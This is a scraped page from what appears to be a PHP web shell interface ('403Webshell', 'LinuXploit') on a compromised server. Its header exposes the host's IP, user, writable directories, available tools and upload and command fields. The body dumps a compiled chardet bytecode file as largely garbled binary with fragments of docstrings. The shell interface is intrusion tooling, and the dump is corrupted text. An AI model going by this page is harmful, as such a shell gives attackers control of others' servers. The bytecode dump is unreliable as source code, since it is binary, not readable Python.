403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/chardet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/chardet/__pycache__/universaldetector.cpython-313.pyc
�

��g:����SrSSKrSSKrSSKrSSKJrJrJr SSKJ	r	 SSK
Jr SSKJ
r
JrJr SSKJr SS	KJr SS
KJr SSKJr SSKJr SS
KJr SSKJr "SS5rg)a
Module containing the UniversalDetector detector class, which is the primary
class a user of ``chardet`` should use.

:author: Mark Pilgrim (initial port to Python)
:author: Shy Shalom (original C code)
:author: Dan Blanchard (major refactoring for 3.0)
:author: Ian Cordasco
�N)�List�Optional�Union�)�CharSetGroupProber)�
CharSetProber)�
InputState�LanguageFilter�ProbingState)�EscCharSetProber)�Latin1Prober)�MacRomanProber)�MBCSGroupProber)�
ResultDict)�SBCSGroupProber)�
UTF1632Proberc	�f�\rSrSrSrSr\R"S5r\R"S5r	\R"S5r
SSS	S
SSS
SS.rSSSS
SSSS.r\
RS4S\
S\SS4Sjjr\S\4Sj5r\S\4Sj5r\S\\4Sj5rS#SjrS\\\4SS4S jrS\4S!jrS"rg)$�UniversalDetector�8aI
The ``UniversalDetector`` class underlies the ``chardet.detect`` function
and coordinates all of the different charset probers.

To get a ``dict`` containing an encoding and its confidence, you can simply
run:

.. code::

        u = UniversalDetector()
        u.feed(some_bytes)
        u.close()
        detected = u.result

g�������?s[�-�]s(|~{)s[�-�]zWindows-1252zWindows-1250zWindows-1251zWindows-1256zWindows-1253zWindows-1255zWindows-1254zWindows-1257)�
iso-8859-1z
iso-8859-2z
iso-8859-5z
iso-8859-6z
iso-8859-7z
iso-8859-8�
iso-8859-9ziso-8859-13zISO-8859-11�GB18030�CP949�UTF-16)�asciirztis-620r�gb2312zeuc-krzutf-16leF�lang_filter�should_rename_legacy�returnNc��SUlSUl/UlSSSS.UlSUlSUl[RUlSUl	Xl
[R"[5UlSUlX lUR#5 g)N���encoding�
confidence�languageF�)�_esc_charset_prober�_utf1632_prober�_charset_probers�result�done�	_got_datar	�
PURE_ASCII�_input_state�
_last_charr�logging�	getLogger�__name__�logger�_has_win_bytesr�reset)�selfrrs   �;/usr/lib/python3/dist-packages/chardet/universaldetector.py�__init__�UniversalDetector.__init__ds���
@D�� �8<���57������#
���
��	����&�1�1������&���'�'��1���#���$8�!��
�
�r&c��UR$�N)r.�r6s r7�input_state�UniversalDetector.input_state{s��� � � r&c��UR$r;)r4r<s r7�
has_win_bytes�UniversalDetector.has_win_bytess���"�"�"r&c��UR$r;)r)r<s r7�charset_probers�!UniversalDetector.charset_probers�s���$�$�$r&c�n�SSSS.UlSUlSUlSUl[R
UlSUlUR(aURR5 UR(aURR5 URHnUR5 M g)z�
Reset the UniversalDetector and all of its probers back to their
initial states.  This is called by ``__init__``, so you only need to
call this directly in between analyses of different documents.
Nr!r"Fr&)r*r+r,r4r	r-r.r/r'r5r(r))r6�probers  r7r5�UniversalDetector.reset�s���$(�s��M�����	����#���&�1�1�������#�#��$�$�*�*�,����� � �&�&�(��+�+�F��L�L�N�,r&�byte_strc�
�UR(agU(dg[U[5(d[U5nUR(GdUR	[
R5(aSSSS.UlO�UR	[
R[
R45(aSSSS.UlO�UR	S5(aSSSS.UlOaUR	S	5(aS
SSS.UlO?UR	[
R[
R45(aSSSS.UlSUlURS
bSUlgUR[R:Xa�URR!U5(a[R"UlO`UR[R:XaBUR$R!UR&U-5(a[R(UlUSSUlUR*(d[-5UlUR*R.[0R2:XalUR*R5U5[0R6:Xa?UR*R8UR*R;5SS.UlSUlgUR[R(:Xa�UR<(d[?UR@5UlUR<R5U5[0R6:XaSUR<R8UR<R;5UR<RBS.UlSUlggUR[R":XGaLURD(d�[GUR@5/Ul"UR@[HRJ-(a#URDRM[O55 URDRM[Q55 URDRM[S55 URDH\nUR5U5[0R6:XdM(UR8UR;5URBS.UlSUl O URTR!U5(aSUl+ggg)a�
Takes a chunk of a document and feeds it through all of the relevant
charset probers.

After calling ``feed``, you can check the value of the ``done``
attribute to see if you need to continue feeding the
``UniversalDetector`` more data, or if it has made a prediction
(in the ``result`` attribute).

.. note::
   You should always call ``close`` when you're done feeding in your
   document if ``done`` is not already ``True``.
Nz	UTF-8-SIG��?�r"zUTF-32s��zX-ISO-10646-UCS-4-3412s��zX-ISO-10646-UCS-4-2143rTr#���),r+�
isinstance�	bytearrayr,�
startswith�codecs�BOM_UTF8r*�BOM_UTF32_LE�BOM_UTF32_BE�BOM_LE�BOM_BEr.r	r-�HIGH_BYTE_DETECTOR�search�	HIGH_BYTE�ESC_DETECTORr/�	ESC_ASCIIr(r�stater�	DETECTING�feed�FOUND_IT�charset_name�get_confidencer'rrr%r)rr
�NON_CJK�appendrr
r�WIN_BYTE_DETECTORr4)r6rHrFs   r7r]�UniversalDetector.feed�s����9�9�����(�I�.�.� ��*�H��~�~�~��"�"�6�?�?�3�3�!,�"%� "����
�$�$�f�&9�&9�6�;N�;N�%O�P�P�,4�3�TV�W����$�$�%8�9�9�!9�"%� "�	����$�$�%8�9�9�!9�"%� "�	����$�$�f�m�m�V�]�]�%C�D�D�,4�3�TV�W���!�D�N��{�{�:�&�2� ��	�����
� 5� 5�5��&�&�-�-�h�7�7�$.�$8�$8��!��!�!�Z�%:�%:�:��%�%�,�,�T�_�_�x�-G�H�H�$.�$8�$8��!�"�2�3�-����#�#�#0�?�D� ����%�%��)?�)?�?��#�#�(�(��2�l�6K�6K�K� $� 4� 4� A� A�"&�"6�"6�"E�"E�"G� "����
!��	�����
� 4� 4�4��+�+�+;�D�<L�<L�+M��(��'�'�,�,�X�6�,�:O�:O�O� $� 8� 8� E� E�"&�":�":�"I�"I�"K� $� 8� 8� A� A����
!��	�
P��
�
�*�"6�"6�
6��(�(�)8��9I�9I�)J�(K��%��#�#�n�&<�&<�<��)�)�0�0��1B�C��%�%�,�,�\�^�<��%�%�,�,�^�-=�>��/�/���;�;�x�(�L�,A�,A�A�$*�$7�$7�&,�&;�&;�&=�$*�O�O�#�D�K�
!%�D�I��0��%�%�,�,�X�6�6�&*��#�7�#7r&c	���UR(aUR$SUlUR(dURR	S5 GOiUR
[R:Xa
SSSS.UlGO>UR
[R:XGaSnSnSnURH'nU(dMUR5nX:�dM#UnUnM) U(a�X R:�a�URnUceUR5nUR5nURS	5(a,UR(aUR R#Xe5nUR$(a3UR&R#U=(d SR5U5nUUUR(S.UlURR+5[,R.::a�URS
c�URR	S5 URH�nU(dM[1U[25(aUUR4HCnURR	SURUR(UR55 ME MvURR	SURUR(UR55 M� UR$)
z�
Stop analyzing the current document and come up with a final
prediction.

:returns:  The ``result`` attribute, a ``dict`` with the keys
           `encoding`, `confidence`, and `language`.
Tzno data received!rrJrKr"Nr!ziso-8859r#z no probers hit minimum thresholdz%s %s confidence = %s)r+r*r,r3�debugr.r	r-rXr)r`�MINIMUM_THRESHOLDr_�lowerrOr4�ISO_WIN_MAP�getr�
LEGACY_MAPr%�getEffectiveLevelr0�DEBUGrMr�probers)	r6�prober_confidence�max_prober_confidence�
max_proberrFr_�lower_charset_namer$�group_probers	         r7�close�UniversalDetector.closes`���9�9��;�;����	��~�~��K�K���1�2��
�
�*�"7�"7�
7�'.�c�r�R�D�K��
�
�*�"6�"6�
6� $��$'�!��J��/�/����$*�$9�$9�$;�!�$�<�,=�)�!'�J�
0��4�7M�7M�M�)�6�6��#�/�/�/�%1�%7�%7�%9�"�'�6�6�8�
�&�0�0��<�<��*�*�'+�'7�'7�';�';�.�(���,�,�#'�?�?�#6�#6�%�+��2�2�4�l�$�L�!-�",� *� 3� 3�����;�;�(�(�*�g�m�m�;��{�{�:�&�.����!�!�"D�E�$(�$9�$9�L�'� �!�,�0B�C�C�&2�&:�&:�F� �K�K�-�-� 7� &� 3� 3� &��� &� 5� 5� 7�	�';����)�)�3�(�5�5�(�1�1�(�7�7�9�	�%:�$�{�{�r&)r)r'r,r4r.r/r(r+rr3r*r)rN) r2�
__module__�__qualname__�__firstlineno__�__doc__rg�re�compilerVrYrcrirkr
�ALL�boolr8�property�intr=r@rrrCr5r�bytesrNr]rrt�__static_attributes__�r&r7rr8s1��� �����N�3���:�:�l�+�L��
�
�>�2��$�$�$�$�$�$�$�%�	�K� �$� �$�����J�'5�&8�&8�%*��#��#��
�	�.�!�S�!��!��#�t�#��#��%��m�!4�%��%��&A+�U�5�)�#3�4�A+��A+�FM�z�Mr&r)ryrPr0rz�typingrrr�charsetgroupproberr�
charsetproberr�enumsr	r
r�	escproberr�latin1proberr
�macromanproberr�mbcsgroupproberr�
resultdictr�sbcsgroupproberr�
utf1632proberrrr�r&r7�<module>r�sH��8���	�(�(�2�(�;�;�'�&�*�,�"�,�(�r�rr&

Youez - 2016 - github.com/yon3zu
LinuXploit